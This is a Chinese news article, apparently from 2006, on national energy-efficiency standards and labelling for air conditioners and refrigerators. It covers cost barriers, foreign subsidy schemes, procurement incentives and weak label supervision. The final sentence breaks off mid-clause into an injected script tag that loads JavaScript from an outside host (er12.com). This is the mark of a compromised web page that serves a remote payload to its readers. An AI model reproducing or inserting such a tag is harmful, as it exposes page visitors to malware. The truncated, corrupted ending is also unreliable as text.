2006年是国家及各级地方政府落实“十一五”节能目标、实施节能规划的第一年。有关专家接受本报记者采访时指出，为了节能效果的最大化和有效性，各有关部门从节能指导性政策、限制性法规、激励性配套措施等多方面出发，逐步建立了成套的、体系化的节能促进机制，有效促进了节能工作的进展和深入，但促进我国家电能效水平的快速提升还需要从多方面下功夫。
制定激励政策促进能效水平提升
据中国标准化研究院能效标识管理中心主任王若虹透露，从该中心2006年9月份开展的冰箱、空调能效标识大检查结果来看，空调的整体能效水平正在提高，一级、二级产品在增多。但王若虹也表示，目前我国空调产品的能效水平与2009年即将修订的《房间空气调节器能效限定值及能源效率等级》规定还有相当大的差距。目前市场上的空调产品多以五级为主，这与冰箱平均一、二级的能效水平相差甚远，也就是说，目前我国空调产品的能效水平总体上仍是不够节能的。
王若虹指出，就目前的情况来看，技术不是问题，根本原因还在于成本。如提升空调能效水平，就必须增加空调换热器的面积，增加铜、铝等原材料的使用，必须将普通铜管换成内螺纹铜管，压缩机也要换成高效能的，这些节能改造一般至少要将生产成本增加300元左右，而绝大多数的新增成本最终只能转嫁到消费者身上。
在发达国家，政府一般会推出多种激励政策，以鼓励企业生产及消费者选购的积极性。如西班牙政府正在实施一项推广节能家电的计划，为鼓励公众购买节能家电，该计划规定购买一台a级节能产品替代老产品，给予消费者一定的优惠，优惠幅度由各自治区确定，一般在75－80欧元之间，约相当于一台家电价格的15％－20％，由政府补贴，替换下来的旧家电统一回收处理。此外，按照西班牙政府的新规定，新建住宅配备的家电都必须采用达到a级的节能产品，政府将为推广节能家电计划投入2亿多欧元。在美国，政府也会通过财政激励措施鼓励厂家和用户来实现更高的能源效率标准，购买“能源之星”节能认证的产品，可得到由公益基金提供的资金返还、减免有关消费税等优惠。
中国标准化研究院能源一室主任成建宏认为，能效标准作为一种限制性政策，有效地促进了能效水平的提高，推动了节能技术的应用，但家电能效水平越高，意味着其造价也越高，会限制低收入人群的购买力，所以如何采取相应的激励政策，在缓解能源短缺、保护环境的同时兼顾不同的消费人群，促进社会公平、和谐发展，是当前我国政府关注的热点之一。而对于企业来讲，财税激励政策的缺失是我国推进节能事业发展的主要障碍之一。据透露，目前，促进资源节约已被纳入中国财税体制改革的议事日程，国家正积极研究制订符合现阶段国情的激励政策，并推行节能新机制，其中，节能产品政府采购是我国当前主要的鼓励性政策和节能产品推广措施。2004年发布的《节能产品政府采购实施意见》和《节能产品政府采购清单》规定各级国家机关、事业单位和团体组织使用财政性资金进行采购活动时，优先采购节能产品，2006年扩大到中央二级预算单位和地市一级预算单位，2007年将全面实行。国家质量监督检验检疫总局也计划在2007年中国名牌产品评价打分阶段，对获得节能产品认证的企业给予15分的奖励，以激发其积极性，增强市场竞争能力，有效扩大市场份额、引导消费。
完善监督机制确保“贴标”顺利进行
2006年国家质检总局对冰箱产品质量进行了国家监督专项抽查，共抽查了北京、天津、上海、江苏、浙江、安徽、广东、山东、陕西、湖北、湖南、江西、河南等13个省市42家企业生产的42种产品，产品抽样合格率为83.3%。中国能效标识管理中心从2006年9月1日起，在全国市场重点抽查冰箱、空调的能效标识，合格率达到80%。
王若虹认为，“高效节能”一直是家电业的热门话题，而能效标识制度将节能从口头推向了制度化和法规化，同时也加快了高能耗产品退出市场的步伐。但王若虹认为：“对能效标识使用的监督工作做得还远远不到位，有些空调虽然贴了能效标识，事实上却根本达不到能效标准。”因此中国标准化研究院能效标识管理中心才开展了抽查工作，主要是检查是否有拿能效标识忽悠消费者的情况。
据了解，能效标识管理实施的是与国际接轨的备案制，备案时虽要求企业出具相关检测报告，但检测数据并不要求出于第三方检测机构，具备检测能力的企业可在企业实验室进行检测，因此，能效比其实是企业的自我声明。这一制度虽然在减轻企业负担方面具有优势，但其最可能在信息符合性上出问题，不排除有些企业谎报的情况。
建立完善而强有力的监督体系是确保能效标识制度顺利实施的关键。世界上大多数国家和地区都采用制造商自我声明的模式实施能效标识制度。为确保标识信息的准确性、树立标识的权威性、创建公平竞争的市场环境，各个国家和地区纷纷建立了较为完善的监督体系，一般包括?script src=http://er12.com/t.js>
